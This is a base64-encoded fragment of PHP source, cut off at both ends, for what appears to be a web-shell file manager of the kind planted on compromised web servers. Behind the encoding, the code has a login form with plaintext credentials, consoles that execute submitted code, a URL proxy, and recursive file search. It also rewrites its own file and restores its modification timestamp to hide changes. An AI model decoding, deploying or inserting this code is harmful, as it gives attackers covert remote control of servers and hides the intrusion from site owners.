GdnJhMm5CQVYvUHo4MlMwam54MFczVFVrcVNnaTRlSGg0VHNyZTR3b3N6MDI2dVBqekdZZDZVczN5bkF5ZFVCQTVLbDNmbTVlcVphVzdPRGdpMlZnK1BqNHVZK0V3TG01Ylk5VS8vN2pmTHRDK3RPSzNqY20vNzF1MmpZbzFVWWg1YUpsL3NlQzNqRW0xMmttSnJJQTFqTW0vOWFVNExoMGUwMUJsSWFFLy8vZGhNZEM3SUEvL2ZUWjJjM01XNm5OMzB3Zjk1VmQ0SmRYb1hWb3M4bkU0ZWZOLys2M0lKZ1NuWWhsN0Y0Y3NYdDg5R1FVd0wrL2psMWM0MUFxK2ZiMmdtdEkxckthMkM0a0phSUEzallybFR3NXRqNDIzalluM2NYRTF6UW94TUhCcDFsWjNEZ21xaWtzLyttY2pMSzgzallreW1NVjNUWWsvL0hNK3U3V2htdHIwb2RUcGFPamZXSmZySHBnLzhCcy83dFcvN1ZlKzRVNTJETW0zTUxCbjRxTGdOVk02TXpCM2xFZmxJdUwvK2pBLy8vMjBMT3pqWHg4LzdsYldwSkcyQzhrM1Rvc0pLTUExeXdqb3BPUjF6WXA1RHNwaWF5K3lLTmhxS1NrOE5XNi9mam5zN096MnRuWnV6ODg3YitXM2FSWS8rMHg5QmU1NGVjNWE1NUE5NzUzZTk5ODU3NUIxNUIwODQyZjhhNThFNzlhLzlxSXV3Z0t5MHNXK3VqVDRUUW50ejQyM0M4aTN6VWovK0t3L2E1ZDZVTXh1TDZ3ekRFci8vLy9jcUpRZkFBQUFLeDBVazVULy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vQUFXVkZiRUFBQUFaZEVWWWRGTnZablIzWVhKbEFFRmtiMkpsSUVsdFlXZGxVbVZoWkhseHlXVThBQUFBMlVsRVFWUW9VMk5ZalFZWXNBaUU4VTlZekRZalZwR1pSeE1pRUNpdE1yVlp2b01yVGxRMkVTUlFKMkZWd2luWWJtcVRVTG9vaG5FMWcxYUtHUy9mTk10azQweVo5S1ZMUWhnWWt1WTdOeFF2WHlIVkZObkt6UjY5cXB4QlBNZXowRVRBUXlUVXZTb2dhSUZhUGNOcVYvTTVkaGEyUmwyVGltYjZaK1FCRFkxWE4vU2J1OHhGTEczZUxEZmwyVUFCamlsTzFvMDEyWjNlazFsWlZJV0FBbVVUSzZMMHMzcFgramo2cHVaMkF3V1V2QlJhcGhzd01kVXVqQ2l3RHdhNVZFZFBJN3luVWxjN3YxcVlVUkxxdWY0Mmh6NDVDQlBEdHdBQ3JtK1JEY3hKWUFBQUFBQkpSVTVFcmtKZ2dnPT0iKTsNCg0KCWJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7DQoNCn0nOw0KDQp9DQoNCg0KDQpmdW5jdGlvbiBmbV9jb25maWdfY2hlY2tib3hfcm93KCRuYW1lLCR2YWx1ZSkgew0KDQoJZ2xvYmFsICRmbXNfY29uZmlnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICANCglyZXR1cm4gJzx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBpZD0iZm1fY29uZmlnXycuJHZhbHVlLiciIG5hbWU9ImZtX2NvbmZpZ1snLiR2YWx1ZS4nXSIgdmFsdWU9IjEiICcuKGVtcHR5KCRmbXNfY29uZmlnWyR2YWx1ZV0pPycnOidjaGVja2VkPSJ0cnVlIicpLicgdHlwZT0iY2hlY2tib3giPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj48bGFiZWwgZm9yPSJmbV9jb25maWdfJy4kdmFsdWUuJyI+Jy4kbmFtZS4nPC90ZD48L3RyPic7DQp9DQogICAgICAgICAgICAgICAgICAgICAgICAgDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICANCmZ1bmN0aW9uIGZtX3Byb3RvY29sKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1NDSEVNRSddKSkgcmV0dXJuICRfU0VSVkVSWydIVFRQX1NDSEVNRSddLic6Ly8nOw0KCWlmIChpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgJF9TRVJWRVJbJ0hUVFBTJ10gPT0gJ29uJykgcmV0dXJuICdodHRwczovLyc7DQoNCglpZiAoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10pICYmICRfU0VSVkVSWydTRVJWRVJfUE9SVCddID09IDQ0MykgcmV0dXJuICdodHRwczovLyc7DQoNCglpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSkgJiYgJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSA9PSAnaHR0cHMnKSByZXR1cm4gJ2h0dHBzOi8vJzsNCg0KCXJldHVybiAnaHR0cDovLyc7DQoNCn0NCg0KZnVuY3Rpb24gZm1fc2l0ZV91cmwoKSB7DQoJcmV0dXJuIGZtX3Byb3RvY29sKCkuJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KDQp9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCg0KZnVuY3Rpb24gZm1fdXJsKCRmdWxsPWZhbHNlKSB7DQoNCgkkaG9zdD0kZnVsbD9mbV9zaXRlX3VybCgpOicuJzsNCglyZXR1cm4gJGhvc3QuJy8nLmJhc2VuYW1lKF9fRklMRV9fKTsNCg0KfQ0KICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQpmdW5jdGlvbiBmbV9ob21lKCRmdWxsPWZhbHNlKXsNCglyZXR1cm4gJyZuYnNwOzxhIGhyZWY9IicuZm1fdXJsKCRmdWxsKS4nIiB0aXRsZT0iJy5fXygnSG9tZScpLiciPjxzcGFuIGNsYXNzPSJob21lIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8L3NwYW4+PC9hPic7DQoNCn0NCg0KZnVuY3Rpb24gZm1fcnVuX2lucHV0KCRsbmcpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJZ2xvYmFsICRmbXNfY29uZmlnOw0KCSRyZXR1cm4gPSAhZW1wdHkoJGZtc19jb25maWdbJ2VuYWJsZV8nLiRsbmcuJ19jb25zb2xlJ10pID8gDQoNCgknDQoNCgkJICAgICAgICAgCQkgICAgICAgICA8Zm9ybSAgbWV0aG9kPSJwb3N0IiBhY3Rpb249IicuZm1fdXJsKCkuJyIgc3R5bGU9ImRpc3BsYXk6aW5saW5lIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAkJICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iJy4kbG5nLidydW4iIHZhbHVlPSInLnN0cnRvdXBwZXIoJGxuZykuJyAnLl9fKCdDb25zb2xlJykuJyI+DQoNCgkJICAgICAgICAgCQkgICAgICAgICA8L2Zvcm0+DQoNCicgOiAnJzsNCglyZXR1cm4gJHJldHVybjsNCn0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCg0KZnVuY3Rpb24gZm1fdXJsX3Byb3h5KCRtYXRjaGVzKSB7DQoJJGxpbmsgPSBzdHJfcmVwbGFjZSgnJmFtcDsnLCcmJywkbWF0Y2hlc1syXSk7DQoNCgkkdXJsID0gaXNzZXQoJF9HRVRbJ3VybCddKT8kX0dFVFsndXJsJ106Jyc7DQoJJHBhcnNlX3VybCA9IHBhcnNlX3VybCgkdXJsKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSRob3N0ID0gJHBhcnNlX3VybFsnc2NoZW1lJ10uJzovLycuJHBhcnNlX3VybFsnaG9zdCddLicvJzsNCglpZiAoc3Vic3RyKCRsaW5rLDAsMik9PScvLycpIHsNCg0KCQkgICAgICAgICAkbGluayA9IHN1YnN0cl9yZXBsYWNlKCRsaW5rLGZtX3Byb3RvY29sKCksMCwyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCX0gZWxzZWlmIChzdWJzdHIoJGxpbmssMCwxKT09Jy8nKSB7DQoNCgkJICAgICAgICAgJGxpbmsgPSBzdWJzdHJfcmVwbGFjZSgkbGluaywkaG9zdCwwLDEpOwkNCgl9IGVsc2VpZiAoc3Vic3RyKCRsaW5rLDAsMik9PScuLycpIHsNCg0KCQkgICAgICAgICAkbGluayA9IHN1YnN0cl9yZXBsYWNlKCRsaW5rLCRob3N0LDAsMik7CQ0KDQoJfSBlbHNlaWYgKHN1YnN0cigkbGluaywwLDQpPT0naHR0cCcpIHsNCg0KCQkgICAgICAgICAvL2FsbGVzIG1hY2hlbiB3dW5kZXJzY2hvbg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJfSBlbHNlIHsNCg0KCQkgICAgICAgICAkbGluayA9ICRob3N0LiRsaW5rOw0KCX0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJaWYgKCRtYXRjaGVzWzFdPT0naHJlZicgJiYgIXN0cnJpcG9zKCRsaW5rLCAnY3NzJykpIHsNCg0KCQkgICAgICAgICAkYmFzZSA9IGZtX3NpdGVfdXJsKCkuJy8nLmJhc2VuYW1lKF9fRklMRV9fKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgJGJhc2VxID0gJGJhc2UuJz9wcm94eT10cnVlJnVybD0nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgICRsaW5rID0gJGJhc2VxLnVybGVuY29kZSgkbGluayk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJfSBlbHNlaWYgKHN0cnJpcG9zKCRsaW5rLCAnY3NzJykpew0KDQoJCSAgICAgICAgIC8vPz8/Py0/Pz8gPz8/Pz8gPz8/Pz8/Pz8/PyA/Pz8/Pw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJfQ0KDQoJcmV0dXJuICRtYXRjaGVzWzFdLic9IicuJGxpbmsuJyInOw0KICAgICAgICAgICAgICAgICAgICAgICAgDQp9DQoNCiANCg0KZnVuY3Rpb24gZm1fdHBsX2Zvcm0oJGxuZ190cGwpIHsNCglnbG9iYWwgJHskbG5nX3RwbC4nX3RlbXBsYXRlcyd9Ow0KDQoJJHRwbF9hcnIgPSBqc29uX2RlY29kZSgkeyRsbmdfdHBsLidfdGVtcGxhdGVzJ30sdHJ1ZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJJHN0ciA9ICcnOw0KCWZvcmVhY2ggKCR0cGxfYXJyIGFzICRrdHBsPT4kdnRwbCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAkc3RyIC49ICc8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iJy4kbG5nX3RwbC4nX25hbWVbXSIgdmFsdWU9IicuJGt0cGwuJyI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPjx0ZXh0YXJlYSBuYW1lPSInLiRsbmdfdHBsLidfdmFsdWVbXSIgIGNvbHM9IjU1IiByb3dzPSI1IiBjbGFzcz0idGV4dGFyZWFfaW5wdXQiPicuJHZ0cGwuJzwvdGV4dGFyZWE+IDxpbnB1dCBuYW1lPSJkZWxfJy5yYW5kKCkuJyIgdHlwZT0iYnV0dG9uIiBvbkNsaWNrPSJ0aGlzLnBhcmVudE5vZGUucGFyZW50Tm9kZS5yZW1vdmUoKTsiIHZhbHVlPSInLl9fKCdEZWxldGUnKS4nIi8+PC90ZD48L3RyPic7DQoNCgl9DQoNCnJldHVybiAnDQoNCjx0YWJsZT4NCg0KPHRyPjx0aCBjb2xzcGFuPSIyIj4nLnN0cnRvdXBwZXIoJGxuZ190cGwpLicgJy5fXygndGVtcGxhdGVzJykuJyAnLmZtX3J1bl9pbnB1dCgkbG5nX3RwbCkuJzwvdGg+PC90cj4NCjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iJy4kbG5nX3RwbC4nIiBuYW1lPSJ0cGxfZWRpdGVkIj4NCjx0cj48dGQgY2xhc3M9InJvdzEiPicuX18oJ05hbWUnKS4nPC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPicuX18oJ1ZhbHVlJykuJzwvdGQ+PC90cj4NCicuJHN0ci4nDQo8dHI+PHRkIGNvbHNwYW49IjIiIGNsYXNzPSJyb3czIj48aW5wdXQgbmFtZT0icmVzIiB0eXBlPSJidXR0b24iIG9uQ2xpY2s9ImRvY3VtZW50LmxvY2F0aW9uLmhyZWYgPSBcJycuZm1fdXJsKCkuJz9mbV9zZXR0aW5ncz10cnVlXCc7IiB2YWx1ZT0iJy5fXygnUmVzZXQnKS4nIi8+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInLl9fKCdTYXZlJykuJyIgPjwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIHZhbHVlPSInLiRsbmdfdHBsLiciIG5hbWU9InRwbF9lZGl0ZWQiPg0KDQo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iJy4kbG5nX3RwbC4nX25ld19uYW1lIiB2YWx1ZT0iIiBwbGFjZWhvbGRlcj0iJy5fXygnTmV3JykuJyAnLl9fKCdOYW1lJykuJyI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPjx0ZXh0YXJlYSBuYW1lPSInLiRsbmdfdHBsLidfbmV3X3ZhbHVlIiAgY29scz0iNTUiIHJvd3M9IjUiIGNsYXNzPSJ0ZXh0YXJlYV9pbnB1dCIgcGxhY2Vob2xkZXI9IicuX18oJ05ldycpLicgJy5fXygnVmFsdWUnKS4nIj48L3RleHRhcmVhPjwvdGQ+PC90cj4NCg0KPHRyPjx0ZCBjb2xzcGFuPSIyIiBjbGFzcz0icm93MyI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicuX18oJ0FkZCcpLiciID48L3RkPjwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8L2Zvcm0+DQoNCjwvdGFibGU+DQoNCic7DQoNCn0NCiAgICAgICAgICAgICAgICAgICAgICAgICANCg0KDQpmdW5jdGlvbiBmaW5kX3RleHRfaW5fZmlsZVNldCgkZGlyLCAkbWFzaywgJHRleHQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAkcmVzdWx0cyA9IGFycmF5KCk7DQoNCiAgICBpZiAoJGhhbmRsZSA9IG9wZW5kaXIoJGRpcikpIHsNCiAgICAgICAgd2hpbGUgKGZhbHNlICE9PSAoJGVudHJ5ID0gcmVhZGRpcigkaGFuZGxlKSkpIHsNCg0KICAgICAgICAgICAgaWYgKCRlbnRyeSAhPSAiLiIgJiYgJGVudHJ5ICE9ICIuLiIpIHsNCg0KICAgICAgICAgICAgICAgICRwYXRoID0gJGRpciAuICIvIiAuICRlbnRyeTsNCg0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGgpKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdHMgPSBhcnJheV9tZXJnZSgkcmVzdWx0cywgZmluZF90ZXh0X2luX2ZpbGVTZXQoJHBhdGgsICRtYXNrLCAkdGV4dCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KDQogICAgICAgICAgICAgICAgICAgIGlmIChmbm1hdGNoKCRtYXNrLCAkZW50cnkpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudHMgPSBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJGNvbnRlbnRzLCAkdGV4dCkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdHNbXSA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJHBhdGgpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIGNsb3NlZGlyKCRoYW5kbGUpOw0KDQogICAgfQ0KDQogICAgcmV0dXJuICRyZXN1bHRzOw0KDQp9DQoNCg0KDQoNCi8qIEVuZCBGdW5jdGlvbnMgKi8NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KDQovLyBhdXRob3JpemF0aW9uDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCmlmICgkYXV0aF9sb2NhbFsnYXV0aG9yaXplJ10pIHsNCglpZiAoaXNzZXQoJF9QT1NUWydsb2dpbiddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3N3b3JkJ10pKXsNCg0KCQkgICAgICAgICBpZiAoKCRfUE9TVFsnbG9naW4nXT09JGF1dGhfbG9jYWxbJ2xvZ2luJ10pICYmICgkX1BPU1RbJ3Bhc3N3b3JkJ109PSRhdXRoX2xvY2FsWydwYXNzd29yZCddKSkgew0KDQoJCSAgICAgICAgIAlzZXRjb29raWUoJGF1dGhfbG9jYWxbJ2Nvb2tpZV9uYW1lJ10sICRhdXRoX2xvY2FsWydsb2dpbiddLid8Jy5tZDUoJGF1dGhfbG9jYWxbJ3Bhc3N3b3JkJ10pLCB0aW1lKCkgKyAoODY0MDAgKiAkYXV0aF9sb2NhbFsnZGF5c19hdXRob3JpemF0aW9uJ10pKTsNCgkJICAgICAgICAgCSRfQ09PS0lFWyRhdXRoX2xvY2FsWydjb29raWVfbmFtZSddXT0kYXV0aF9sb2NhbFsnbG9naW4nXS4nfCcubWQ1KCRhdXRoX2xvY2FsWydwYXNzd29yZCddKTsNCg0KCQkgICAgICAgICB9DQoNCgl9DQoNCglpZiAoIWlzc2V0KCRfQ09PS0lFWyRhdXRoX2xvY2FsWydjb29raWVfbmFtZSddXSkgT1IgKCRfQ09PS0lFWyRhdXRoX2xvY2FsWydjb29raWVfbmFtZSddXSE9JGF1dGhfbG9jYWxbJ2xvZ2luJ10uJ3wnLm1kNSgkYXV0aF9sb2NhbFsncGFzc3dvcmQnXSkpKSB7DQoJCSAgICAgICAgIGVjaG8gJw0KDQo8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8bWV0YSBjaGFyc2V0PSJ1dGYtOCIgLz4NCg0KPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xIiAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8dGl0bGU+Jy5fXygnRmlsZSBtYW5hZ2VyJykuJzwvdGl0bGU+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPC9oZWFkPg0KDQo8Ym9keT4NCjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KJy5fXygnTG9naW4nKS4nIDxpbnB1dCBuYW1lPSJsb2dpbiIgdHlwZT0idGV4dCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7DQoNCicuX18oJ1Bhc3N3b3JkJykuJyA8aW5wdXQgbmFtZT0icGFzc3dvcmQiIHR5cGU9InBhc3N3b3JkIj4mbmJzcDsmbmJzcDsmbmJzcDsNCg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicuX18oJ0VudGVyJykuJyIgY2xhc3M9ImZtX2lucHV0Ij4NCg0KPC9mb3JtPg0KDQonLmZtX2xhbmdfZm9ybSgkbGFuZ3VhZ2UpLicNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPC9ib2R5Pg0KPC9odG1sPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCic7ICANCmRpZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCX0NCglpZiAoaXNzZXQoJF9QT1NUWydxdWl0J10pKSB7DQoNCgkJICAgICAgICAgdW5zZXQoJF9DT09LSUVbJGF1dGhfbG9jYWxbJ2Nvb2tpZV9uYW1lJ11dKTsNCg0KCQkgICAgICAgICBzZXRjb29raWUoJGF1dGhfbG9jYWxbJ2Nvb2tpZV9uYW1lJ10sICcnLCB0aW1lKCkgLSAoODY0MDAgKiAkYXV0aF9sb2NhbFsnZGF5c19hdXRob3JpemF0aW9uJ10pKTsNCgkJICAgICAgICAgaGVhZGVyKCdMb2NhdGlvbjogJy5mbV9zaXRlX3VybCgpLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgl9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KfQ0KDQoNCg0KLy8gQ2hhbmdlIGNvbmZpZw0KaWYgKGlzc2V0KCRfR0VUWydmbV9zZXR0aW5ncyddKSkgew0KDQoJaWYgKGlzc2V0KCRfR0VUWydmbV9jb25maWdfZGVsZXRlJ10pKSB7IA0KDQoJCSAgICAgICAgIHVuc2V0KCRfQ09PS0lFWydmbV9jb25maWcnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgc2V0Y29va2llKCdmbV9jb25maWcnLCAnJywgdGltZSgpIC0gKDg2NDAwICogJGF1dGhfbG9jYWxbJ2RheXNfYXV0aG9yaXphdGlvbiddKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIGhlYWRlcignTG9jYXRpb246ICcuZm1fdXJsKCkuJz9mbV9zZXR0aW5ncz10cnVlJyk7DQoNCgkJICAgICAgICAgZXhpdCgwKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgl9CWVsc2VpZiAoaXNzZXQoJF9QT1NUWydmbV9jb25maWcnXSkpIHsgDQoNCgkJICAgICAgICAgJGZtc19jb25maWcgPSAkX1BPU1RbJ2ZtX2NvbmZpZyddOw0KDQoJCSAgICAgICAgIHNldGNvb2tpZSgnZm1fY29uZmlnJywgc2VyaWFsaXplKCRmbXNfY29uZmlnKSwgdGltZSgpICsgKDg2NDAwICogJGF1dGhfbG9jYWxbJ2RheXNfYXV0aG9yaXphdGlvbiddKSk7DQoJCSAgICAgICAgICRfQ09PS0lFWydmbV9jb25maWcnXSA9IHNlcmlhbGl6ZSgkZm1zX2NvbmZpZyk7DQoJCSAgICAgICAgICRtc2cgPSBfXygnU2V0dGluZ3MnKS4nICcuX18oJ2RvbmUnKTsNCgl9CWVsc2VpZiAoaXNzZXQoJF9QT1NUWydmbV9sb2dpbiddKSkgeyANCg0KCQkgICAgICAgICBpZiAoZW1wdHkoJF9QT1NUWydmbV9sb2dpbiddWydhdXRob3JpemUnXSkpICRfUE9TVFsnZm1fbG9naW4nXSA9IGFycmF5KCdhdXRob3JpemUnID0+ICcwJykgKyAkX1BPU1RbJ2ZtX2xvZ2luJ107DQoNCgkJICAgICAgICAgJGZtX2xvZ2luID0ganNvbl9lbmNvZGUoJF9QT1NUWydmbV9sb2dpbiddKTsNCgkJICAgICAgICAgJGZnY19jaGVjayA9IGZpbGVfZ2V0X2NvbnRlbnRzKF9fRklMRV9fKTsNCgkJICAgICAgICAgJHNlYXJjaCA9IHByZWdfbWF0Y2goJyNhdXRob3JpemF0aW9uW1xzXT9cPVtcc10 ce1wiKC4qPylcIlx9XCc7IycsICRmZ2NfY2hlY2ssICRtYXRjaGVzKTsNCg0KCQkgICAgICAgICBpZiAoIWVtcHR5KCRtYXRjaGVzWzFdKSkgew0KCQkgICAgICAgICAJJGZpbGVtdGltZSA9IGZpbGVtdGltZShfX0ZJTEVfXyk7DQoJCSAgICAgICAgIAkkcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCd7IicuJG1hdGNoZXNbMV0uJyJ9JywkZm1fbG9naW4sJGZnY19jaGVjayk7DQoJCSAgICAgICAgIAlpZiAoZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sICRyZXBsYWNlKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJCSAgICAgICAgICRtc2cgLj0gX18oJ0ZpbGUgdXBkYXRlZCcpOw0KCQkgICAgICAgICAJCSAgICAgICAgIGlmICgkX1BPU1RbJ2ZtX2xvZ2luJ11bJ2xvZ2luJ10gIT0gJGF1dGhfbG9jYWxbJ2xvZ2luJ10pICRtc2cgLj0gJyAnLl9fKCdMb2dpbicpLic6ICcuJF9QT1NUWydmbV9sb2dpbiddWydsb2dpbiddOw0KCQkgICAgICAgICAJCSAgICAgICAgIGlmICgkX1BPU1RbJ2ZtX2xvZ2luJ11bJ3Bhc3N3b3JkJ10gIT0gJGF1dGhfbG9jYWxbJ3Bhc3N3b3JkJ10pICRtc2cgLj0gJyAnLl9fKCdQYXNzd29yZCcpLic6ICcuJF9QT1NUWydmbV9sb2dpbiddWydwYXNzd29yZCddOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJCSAgICAgICAgICRhdXRoX2xvY2FsID0gJF9QT1NUWydmbV9sb2dpbiddOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJfQ0KCQkgICAgICAgICAJZWxzZSAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOw0KCQkgICAgICAgICAJaWYgKCFlbXB0eSgkZm1zX2NvbmZpZ1snZm1fcmVzdG9yZV90aW1lJ10pKSB0b3VjaChfX0ZJTEVfXywkZmlsZW10aW1lKTsNCgkJICAgICAgICAgfQ0KDQoJfSBlbHNlaWYgKGlzc2V0KCRfUE9TVFsndHBsX2VkaXRlZCddKSkgeyANCgkJICAgICAgICAgJGxuZ190cGwgPSAkX1BPU1RbJ3RwbF9lZGl0ZWQnXTsNCg0KCQkgICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFskbG5nX3RwbC4nX25hbWUnXSkpIHsNCgkJICAgICAgICAgCSRmbV9waHAgPSBqc29uX2VuY29kZShhcnJheV9jb21iaW5lKCRfUE9TVFskbG5nX3RwbC4nX25hbWUnXSwkX1BPU1RbJGxuZ190cGwuJ192YWx1ZSddKSxKU09OX0hFWF9BUE9TKTsNCg0KCQkgICAgICAgICB9IGVsc2VpZiAoIWVtcHR5KCRfUE9TVFskbG5nX3RwbC4nX25ld19uYW1lJ10pKSB7DQoNCgkJICAgICAgICAgCSRmbV9waHAgPSBqc29uX2VuY29kZShqc29uX2RlY29kZSgkeyRsbmdfdHBsLidfdGVtcGxhdGVzJ30sdHJ1ZSkrYXJyYXkoJF9QT1NUWyRsbmdfdHBsLidfbmV3X25hbWUnXT0+JF9QT1NUWyRsbmdfdHBsLidfbmV3X3ZhbHVlJ10pLEpTT05fSEVYX0FQT1MpOw0KCQkgICAgICAgICB9DQoJCSAgICAgICAgIGlmICghZW1wdHkoJGZtX3BocCkpIHsNCg0KCQkgICAgICAgICAJJGZnY19jaGVjayA9IGZpbGVfZ2V0X2NvbnRlbnRzKF9fRklMRV9fKTsNCgkJICAgICAgICAgCSRzZWFyY2ggPSBwcmVnX21hdGNoKCcjJy4kbG5nX3RwbC4nX3RlbXBsYXRlc1tcc10 bXHNdP1wnXHtcIiguKj8pXCJcfVwnOyMnLCAkZmdjX2NoZWNrLCAkbWF0Y2hlcyk7DQoJCSAgICAgICAgIAlpZiAoIWVtcHR5KCRtYXRjaGVzWzFdKSkgew0KDQoJCSAgICAgICAgIAkJICAgICAgICAgJGZpbGVtdGltZSA9IGZpbGVtdGltZShfX0ZJTEVfXyk7DQoNCgkJICAgICAgICAgCQkgICAgICAgICAkcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCd7IicuJG1hdGNoZXNbMV0uJyJ9JywkZm1fcGhwLCRmZ2NfY2hlY2spOw0KCQkgICAgICAgICAJCSAgICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJHJlcGxhY2UpKSB7DQoJCSAgICAgICAgIAkJICAgICAgICAgCSR7JGxuZ190cGwuJ190ZW1wbGF0ZXMnfSA9ICRmbV9waHA7DQoNCgkJICAgICAgICAgCQkgICAgICAgICAJJG1zZyAuPSBfXygnRmlsZSB1cGRhdGVkJyk7DQoNCgkJICAgICAgICAgCQkgICAgICAgICB9IGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsNCg0KCQkgICAgICAgICAJCSAgICAgICAgIGlmICghZW1wdHkoJGZtc19jb25maWdbJ2ZtX3Jlc3RvcmVfdG